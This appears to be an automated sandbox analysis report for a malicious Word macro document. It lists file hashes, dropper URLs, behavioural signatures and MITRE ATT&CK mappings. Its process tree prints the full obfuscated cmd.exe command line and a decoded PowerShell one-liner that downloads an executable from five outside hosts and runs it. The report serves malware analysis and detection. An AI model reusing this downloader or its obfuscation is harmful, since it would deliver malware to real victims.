e33209146f95e8c43d6ded642235f842d70b5c568d7ca006d52c4195423a8594

General

Target

e33209146f95e8c43d6ded642235f842d70b5c568d7ca006d52c4195423a8594.doc
Size

64KB
MD5

d9a8f9f7a45dba6f6883e89189c71c9e
SHA1

4da0ddb8fae437314db58089a38c50e5105e93b5
SHA256

e33209146f95e8c43d6ded642235f842d70b5c568d7ca006d52c4195423a8594
SHA512

83e21823dd9a1abffba2280ccfd6dcebdbb65ec27e80fe8d6d69c8dd9b7db1b73ac317bb29a30dc6542874aa84385b10148db9274903ed3ac7c0dfafe5b47663
SSDEEP

768:KooRooooM6AoroooonooQoooVoooooIooNpJcaUitGAlmrJpmxlzC+w99NB33y/o:SptJlmrJpmxlRw99NBny/qJP8GjmuZ

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.muabangiup.com/I6gpE

exe.dropper

http://www.tekere.es/ce45TO3

exe.dropper

http://www.expressarsetelagoas.com.br/8tr1wP

exe.dropper

http://www.fix4pc.co.uk/GOjXqkw

exe.dropper

http://www.flora-lux.by/mJHgzFh

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3060	2208	CMd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

28 1932 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1932 powershell.exe
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

Processes:

CMd.exe

pid process

3060 CMd.exe

flow	pid	process
28	1932	powershell.exe

pid	process
1932	powershell.exe

pid	process
3060	CMd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2208 WINWORD.EXE
2208 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1932 powershell.exe
1932 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1932 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

2208 WINWORD.EXE
2208 WINWORD.EXE
2208 WINWORD.EXE
2208 WINWORD.EXE
2208 WINWORD.EXE
2208 WINWORD.EXE
2208 WINWORD.EXE

pid	process
2208	WINWORD.EXE
2208	WINWORD.EXE

pid	process
1932	powershell.exe
1932	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1932	powershell.exe

pid	process
2208	WINWORD.EXE
2208	WINWORD.EXE
2208	WINWORD.EXE
2208	WINWORD.EXE
2208	WINWORD.EXE
2208	WINWORD.EXE
2208	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXECMd.exe

description	pid	process	target process
PID 2208 wrote to memory of 3060	2208	WINWORD.EXE	CMd.exe
PID 2208 wrote to memory of 3060	2208	WINWORD.EXE	CMd.exe
PID 3060 wrote to memory of 1932	3060	CMd.exe	powershell.exe
PID 3060 wrote to memory of 1932	3060	CMd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e33209146f95e8c43d6ded642235f842d70b5c568d7ca006d52c4195423a8594.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2208
- C:\Windows\SYSTEM32\CMd.exe
  CMd /V^:^O/C"^s^e^t Z^5^I^A=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}^{hc^tac^}^;^k^a^er^b^;^A^m^d^$^ ^m^e^t^I^-^e^k^ovn^I^;)^A^m^d^$^ ^,^a^d^q$(^e^li^F^d^ao^ln^w^o^D^.^FCC^$^{^yr^t^{)DR^F^$^ n^i^ ^a^d^q^$(hc^a^er^o^f^;^'^e^xe^.^'^+VV^M^$^+^'^\^'+c^il^b^u^p^:vn^e^$^=^A^m^d^$^;'^5^36^'^ ^=^ VV^M^$^;)^'^@^'(^t^i^l^pS^.^'^h^F^z^g^H^J^m/^y^b^.^x^u^l^-^ar^o^l^f^.w^w^w//^:p^t^t^h^@^w^k^q^X^jO^G/k^u^.^oc^.c^p^4^xi^f^.^w^w^w//:^p^tt^h^@^Pw1r^t^8/r^b^.^m^oc^.^s^a^o^g^al^ete^sr^a^s^s^er^p^x^e^.w^w^w//^:p^t^t^h@3O^T^54^ec/^s^e^.^er^e^k^e^t^.^w^w^w//^:^p^t^t^h@^E^p^g^6^I/^m^oc^.^p^u^i^gn^a^ba^u^m.^w^w^w//^:^p^t^t^h^'^=^DR^F^$^;^tn^e^i^lC^b^e^W^.^t^eN^ ^tc^e^j^b^o^-^w^en^=^FCC^$ ^l^l^e^h^sr^ew^o^p&&^f^or /^L %^s ^in (^3^7^9^,^-^1^,^0)^d^o ^s^e^t ^U^2^y=!^U^2^y!!Z^5^I^A:~%^s,1!&&^i^f %^s=^=^0 c^a^l^l %^U^2^y:^~^-^3^8^0%"
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:3060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $CCF=new-object Net.WebClient;$FRD='http://www.muabangiup.com/I6gpE@http://www.tekere.es/ce45TO3@http://www.expressarsetelagoas.com.br/8tr1wP@http://www.fix4pc.co.uk/GOjXqkw@http://www.flora-lux.by/mJHgzFh'.Split('@');$MVV = '635';$dmA=$env:public+'\'+$MVV+'.exe';foreach($qda in $FRD){try{$CCF.DownloadFile($qda, $dmA);Invoke-Item $dmA;break;}catch{}}
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\TCDA51.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_keopimm0.1jk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
3KB

MD5
5039665971e6104287fb2f1b91327903

SHA1
92b2a9bd014d80d0a69679f6ddba19c14a19ed67

SHA256
52e079695de27ec7bf78faac3ca6ebf696bc7e2adf610db810cc1887cf88297b

SHA512
567370aea37097c3f824addd272a5aefd01cf7ca4cff1b86b8307a9f777077592f4514083aef0b87d6e92ba8e5e4df8633962722f38dba768fc2e88bd212ba76

Download Submit
memory/1932-42-0x0000027CAA780000-0x0000027CAA7A2000-memory.dmp

Filesize
136KB

Download
memory/2208-17-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

Filesize
2.0MB

Download
memory/2208-13-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

Filesize
2.0MB

Download
memory/2208-6-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp

Filesize
64KB

Download
memory/2208-8-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

Filesize
2.0MB

Download
memory/2208-9-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

Filesize
2.0MB

Download
memory/2208-10-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

Filesize
2.0MB

Download
memory/2208-7-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

Filesize
2.0MB

Download
memory/2208-14-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

Filesize
2.0MB

Download
memory/2208-15-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

Filesize
2.0MB

Download
memory/2208-16-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

Filesize
2.0MB

Download
memory/2208-2-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp

Filesize
64KB

Download
memory/2208-5-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

Filesize
2.0MB

Download
memory/2208-12-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

Filesize
2.0MB

Download
memory/2208-11-0x00007FFF87DF0000-0x00007FFF87E00000-memory.dmp

Filesize
64KB

Download
memory/2208-18-0x00007FFF87DF0000-0x00007FFF87E00000-memory.dmp

Filesize
64KB

Download
memory/2208-26-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

Filesize
2.0MB

Download
memory/2208-27-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

Filesize
2.0MB

Download
memory/2208-28-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

Filesize
2.0MB

Download
memory/2208-0-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp

Filesize
64KB

Download
memory/2208-3-0x00007FFFCA4CD000-0x00007FFFCA4CE000-memory.dmp

Filesize
4KB

Download
memory/2208-47-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

Filesize
2.0MB

Download
memory/2208-48-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

Filesize
2.0MB

Download
memory/2208-4-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp

Filesize
64KB

Download
memory/2208-1-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads